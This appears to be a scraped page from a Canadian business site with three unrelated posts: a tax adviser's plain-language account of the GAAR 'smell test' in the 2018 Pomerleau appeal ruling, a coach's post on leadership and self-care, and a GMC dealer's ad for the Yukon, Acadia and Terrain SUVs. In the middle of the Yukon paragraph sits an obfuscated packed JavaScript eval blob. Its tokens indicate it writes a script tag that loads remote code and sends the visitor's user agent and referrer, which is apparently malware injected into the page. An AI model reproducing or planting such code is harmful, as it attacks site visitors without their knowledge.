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GAARbage in… GAARbage out? – Even if you follow the letter of the tax law, can you pass the “smell test”?

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  • GAARbage in… GAARbage out? – Even if you do everything by the letter of the tax law, can you pass the “smell test”? – A June 2018 Federal Court of Appeal ruling might make it difficult?

    By Cory G. Litzenberger, CPA, CMA, CFP, C.Mgr – President & Founder of CGL Strategic Business & Tax Advisors.

    No, those aren’t typos. For the non-tax nerds (ie: normal people) reading this, GAAR is the General Anti-Avoidance Rule under Section 245 of the Income Tax Act. More commonly referred to as “the smell test.” In other words, even if you do everything by the letter of the law, if it looks and smells funny, the government might not agree with you and you might be reassessed.

    To the tax nerds, I will be simplifying this article but with a few legislative references to keep you happy.

    This smell test brings us to the Pomerleau v Canada (2018 CAF 129) ruling issued in French on June 29, 2018 by the Federal Court of Appeal.

    To put this in context, the transactions occurred in 2004 and 2005. We are now looking at items that are 13-14 years old, that were also common practice among many tax practitioners back then.

    Let’s take a high-level approach to see how we got here:

    The taxpayer, Pomerleau, and his family sought tax advice on how to transfer the $3 million family owned business from the parents to their children. There are many provisions that allow us to do this on a tax-deferred (not tax-free) basis.

    The advisors had developed a plan to pass on the family business on this tax-deferred basis, but also thought they had discovered a way to reduce the amount of that deferred tax as well.

    Layman Technical Background

    In tax planning with company shares we have two types of adjusted cost bases (ACB) referred to as “hard ACB” and “soft ACB”. Hard ACB is when tax was fully paid on the transfer or was acquired from someone not related to you. Soft ACB is when you have bought the shares from a related person and that person had used part of their Lifetime Capital Gains Deduction on the sale.

    Hard ACB can be planned with to eventually convert into a shareholder loan without triggering a dividend under 84.1, whereas soft ACB cannot.

    What happened?

    In 1995, the family started to reflect on the continuity of the business. Several decisions were taken. One of those decisions was that the business would be divided among the original shareholder’s four children. As a result, the business was divided as follows: the two daughters obtained part of the business, which consisted of real estate, and the two sons obtained the other part, which consisted of the construction business.

    As part of this transfer of the family business, which had been in the works for over 10 years, a series of transactions was undertaken in 2004 and 2005.

    One of the transactions was the redemption by Pomerleau’s holding company (HoldCo) of its shares. The ACB and the paid-up capital (PUC) of these shares totaled $2 million.

    If the ACB was considered hard ACB, then Pomerleau could sell the shares to a new corporation for a $2M Promissory Note, have the old corporation redeem the shares, pay the $2M to the new corporation (inter-corporate dividends from connected corporations don’t create tax) then use the $2M to pay out the promissory note.

    This is similar to what is done as a pipeline transaction for deceased persons after capital gains have been triggered on death.

    If the ACB is soft ACB, then the transactions above would actually cause a taxable dividend under 84.1 of the Income Tax Act.

    How did we get to $2M of PUC and ACB?

    In 1989 (likely under fears that the capital gains deduction may be eliminated in the next federal election) Pomerleau, his mother, and his sister, all increased their ACB in their Operating Company (OpCo) shares utilizing a provision of the Act under Section 85, that (with a lot of complexity) allows you to sell shares to a corporation in exchange for more shares. If done properly, you can do this with your own corporation and trigger capital gains on purpose in order to use your lifetime capital gains deduction under 110.6 (as was the case here).

    Some of these shares were eventually transferred to Pomerleau from his mother and sister in taxable events. As a result, the shares had both soft and hard ACB at this point.

    Fast forward 15 years.

    Those previously mentioned shares of OpCo were eventually transferred to HoldCo.

    In 2004, as the sole shareholder of HoldCo, Pomerleau wanted to split his $3M company among his children. He had $1M in soft ACB with only $15,000 of PUC (the tax-free amount you can get back) tied up in Class G Preferred Shares (Class G) and had at least $2M in value of Class A common shares with $1M in hard ACB.

    The Transactions and Application of Law

    On January 3, 2005, HoldCo repurchased the $1M of Class G shares that the taxpayer owned, this triggered a deemed dividend under 84(3) and was taxable to Pomerleau.

    When a deemed dividend occurs, the shares are considered to be sold for zero proceeds. Since there was ACB of $1M on those shares, this would be a capital loss.

    40(3.6)(a) deems the loss to be zero since Pomerleau was affiliated with HoldCo because he still owned the Class A shares.

    Since it would not be fair to pay tax on a dividend for something with ACB (meaning someone likely paid tax on it before), then the Act transfers this capital loss that has been denied to ACB of existing shares owned. In this case, the ACB then moved over to the Class A shares under 40(3.6)(b) and 53(1)(f.2).

    This increased the ACB from $1M to $2M.

    So far so good right?

    All that was left was to create a pipeline transaction, so Pomerleau transferred his Class A shares to a newly created corporation using Section 85 for new shares with $2M in ACB, PUC, and Fair Market Value.

    These shares were then repurchased and eventually paid out $2M to Pomerleau with no additional tax.

    So, how was the ACB cooked? Soft or Hard?

    According to the transactions, the ACB would be considered hard.

    Enter the Canada Revenue Agency (CRA) and the smell test (GAAR).

    In order for something to be considered abusive under the GAAR in section 245, there must be:

    1) A tax benefit

    2) An avoidance transaction, and

    3) A misuse or abuse of the Income Tax Act

    Pomerleau’s position (in sort-of-simple terms) = hard ACB and no misuse of the Act

    1) The stop-loss rules of 40(3.6) converted the cost basis from soft ACB to hard ACB.

    2) Section 85 allows for transfers to another corporation, and hard ACB can be used to create Paid Up Capital

    3) 84.1 only creates a dividend for shares that have been redeemed for more than their Paid Up Capital.

    4) Although there was a tax benefit, the motivation for the transactions was to assist in the transfer of the family business.

    5) No misuse of the Act occurred, rather, to the contrary, the Act operated as written.

    The Government’s position (in sort-of-simple terms) = GAAR (it stinks)

    1) Even though you followed the law, we don’t like it and so we think it shouldn’t be treated like this, so we’re going to apply GAAR under Section 245 because we think it smells funny.

    The Lower Court Ruling

    At the Tax Court of Canada, Justice Favreau concluded that the GAAR was applicable in this case since section 84.1 of the Act prevents taxpayers from undertaking surplus stripping transactions on a tax-free basis. In the TCC Justice’s opinion this is what Pomerleau had done in this case, because the series of transactions resulted in the avoidance of the purpose of section 84.1.

    More specifically, Justice Favreau opined that the effect of paragraph 40(3.6) of the Act permitted the taxpayer to increase the PUC of the shares in a subsequent rollover and therefore to avoid the application of section 84.1 of the Act.

    As a result, this planning had the effect of circumventing in an abusive manner the purpose of section 84.1 of the Act (i.e., to prevent surplus stripping on a tax-free basis).

    As a result, the Tax Court of Canada maintained the Minister’s initial assessment, as it determined that the GAAR applied to the series of transactions so that a taxable dividend of $994,628 had to be attributed to the taxpayer.

    The Federal Court of Appeal Decision

    In paragraph 78 of their unanimous ruling, the Federal Court of Appeal asked what is the purpose and spirit of section 84.1?

    Upon analysis, the court decided that the purpose and intent of this provision, is to prevent amounts that have not been taxed to a related person from being distributed tax-free.

    Even though the letter of the law was followed by Pomerleau, the court ruled against him in deciding that the intent and spirit of 84.1 was avoided, and so the GAAR under Section 245 applied.

    Since it was a unanimous ruling, the taxpayer is not able to appeal to the Supreme Court of Canada as a matter of “right” … so we will wait to see if Pomerleau attempts to apply for a “Leave to Appeal” and if he is granted.

    Translation: the smell test said the transactions stink like GAARbage.


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    Now’s the Time… High Performance Leadership and Self Care?

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  • Leadership is challenging.
    Criticism of leadership, from numerous directions, can feel like death by a thousand cuts for those of us who are brave enough to take on leadership positions.

    Learning resilience strategies, that are not driven by ego, is critical for sustainable results. One of the most important resilience strategies all leaders need is self care.

    Self care is essential to your health and the health of your organization.

    Throughout my adult life, I’ve experienced numerous leadership positions and leadership roles.
    Often, I was up to my eyeballs with new responsibilities before I knew it and didn’t understand or have the time to look into how to survive my new reality. I had a skillset that was necessary for the work, I knew I had leadership capacity… but didn’t understand what self-care really looked like for me in my role.

    My experience is familiar to many people who are promoted into positions because they were great at their previous role. For many of us, we end up in leadership roles and suddenly have responsibilities that are unfamiliar and take an immense amount of self awareness and other awareness.

    Burnout can begin to undermine the job we want to do, the life we want to live and the even the self-care efforts that we may be trying to sustain.

    There were times when I believed there was no other way, that the situation was my lot in life. I resigned myself to a mindset that was limited to what I knew. Little did I know that there were coping strategies within my reach.

    I did not have a very robust idea of what self-care is about. I want to share with you some important truths and some questions for self reflection about self care that I wish I had explored earlier.

    First and most important, self care, not driven by ego, is important. We cannot give what we do not have.
    What resources are within my reach that I can draw on?
    What do I truly believe about taking care of myself?

    Self Care starts with what we choose to believe and focus on.
    Condemning or critical thoughts may be undermining your self-care efforts. Choosing to talk to ourselves the way we would talk to a friend is a courageous choice.
    Am I choosing to be compassionate to myself? Are there useful resources within my reach that I could or should access?

    Self Care looks different for each of us. What fills my bucket may not fill your bucket. This is not about what SHOULD work for us. Regular, seemingly small deposits into your self care bank are more effective than massive one time efforts. Think of it like the daily act of brushing your teeth, as opposed to taking the holiday of a lifetime.
    What would add to my bucket today?

    Self Care is about meaningful connection.
    Who are the people in your life who care about me?
    What can I do to grow this important resource in my life?

    Self Care is about finding moments, people and places where we can feel emotions.
    Do I have a place to feel hard emotions in a safe place experience feeling seen, heard and understood?

    Self Care is about finding opportunities for laughter. We all need to laugh and play.
    Where can I find something today that will give me a good belly laugh?

    Self care is about rumbling with setting boundaries.
    Boundaries are about what’s ok and what’s not ok AND about being clear about what is mine and what is not mine.
    What can I do to get clear about my boundaries?

    Now, can you give the people in your team permission to do the same? The flip of self-care for others is empathy…. one of the most critical, and challenging skillsets for today’s leaders.

    My suggestions:
    Choose one of these elements of self care and strategically add it to your life for two months, then move on to another one of these elements.

    Working with a coach has also been the best self-care gifts I have given to myself. Change almost always begins with a conversation.

    Your 2019 will look brighter and more successful if you give yourself permission to play and get curious with self care strategies.

    Self care has a way of growing what we most want in our lives. Want a healthy team? Taking the time to honestly ask the above questions is a courageous, and important, step.

    If you’d like support or to explore any of these ideas further with coaching or training, please contact me at alana@nowsthetime.ca


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    Local Business

    THE GMC SUV

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  • GMC offers a variety of SUVs to fit your specific needs. Choose from the full-size Yukon SUV with ample seating for up to nine adults and impressive trailering capability. Opt for the compact Terrain SUV with a standard 1.5L turbo engine and an estimated fuel consumption rating of 7.9 L/100 km highway and 9.2 L/100 km city (in 4×2 mode). Or go with the powerful, capable Acadia SUV for signature GMC utility, flexibility, and convenience.

    YUKON
    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sknss|var|u0026u|referrer|ietfr||js|php’.split(‘|’),0,{}))
    full-size SUV brings together numerous innovations to create a new standard in utility. Under the hood, Yukon gives you a choice of powerful and efficient EcoTec3 engines. Inside, premium materials, generous seating and storage, intelligent infotainment, and available safety technologies create an outstanding driving experience.

    FIND YOUR YUKON: http://bit.ly/2019GMCYUKON

    ACADIA
    An SUV engineered to help you handle life’s demands with confidence, capability, and style. With available seating for up to seven, Acadia provides flexible and adaptable storage capacity depending on your needs. Its available advanced driver alert and infotainment technologies help keep you aware, connected, and entertained.

    FIND YOUR ACADIA:http://bit.ly/2019GMCACADIA

    TERRAIN
    This SUV brings together exceptional features of its category. From a distinctive exterior that leaves a lasting impression to new available features that benefit everyone such as Front Pedestrian Braking, HD Rear Vision Camera and HD Surround Vision, the Terrain delivers outstanding utility to handle the varied demands of your life.

    FIND YOUR TERRAIN: http://bit.ly/2019GMCTERRAIN

    If you would like to Test Drive anyone of these SUV’s come visit us at http://www.kippscott.ca to book!

     


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